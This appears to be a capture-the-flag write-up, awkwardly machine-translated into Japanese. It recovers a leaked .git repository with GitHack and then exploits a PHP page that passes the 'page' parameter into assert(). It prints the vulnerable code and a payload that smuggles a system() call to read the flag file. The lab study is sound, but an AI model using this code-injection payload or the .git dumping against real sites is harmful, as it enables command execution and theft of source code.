MSF
実践:
漏洩したソースコード解析を.Git
アイデア:
Webブラウジングでは、私は、ページがでGitリポジトリについては、約、アクセスしようとした.gitファイルを
.gitソースコードリーク。
gitの初期化初期化コードリポジトリを使用して、あなたがソースコードを復元するには、このファイルを使用することができ、.gitという隠しファイルを生成します。ファイルが削除された場合、コードを公開するときに.gitソースコード漏えいの脆弱性が生成されます。
ステップ:
使用Githackは、ソースコードを取得し利用します
Githackはpython2環境で実行する必要があります
flag.phpを見つけましたが、手がかりを使用することができ開かないソースビューファイルを取得した後と。
index.phpのであってもよい突破口を示唆し、ファイルをブラウズし続けます
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
関数の説明:
- (文字列)をアサート:strが実行するコードに解決、trueまたはfalseを返します
- strpos(STR、obj_str):STRにobj_str最初に現れる位置を返します
監査は、アップロードのコード・ページ値のホストは任意のフィルタリングをしなかったことが判明したら、脆弱性が含まれているローカルファイルの存在を利用することができます。
悪質なページが、使用されるペイロードの値を渡すように構成することができます。
page=suibian') or system("cat templates/flag.php");//
スプライシング後:
$file = "templates/" . "suibian') or system("cat templates/flag.php");". ".php";
次へ:
assert("strpos('templates/suibian') or system("cat templates/flag.php"); //.php', '..') === false") or die("Detected hacking attempt!"); 本行已被注释
strposはfalseを返すので、文が実行または後にされます。
コメントにフラグを探します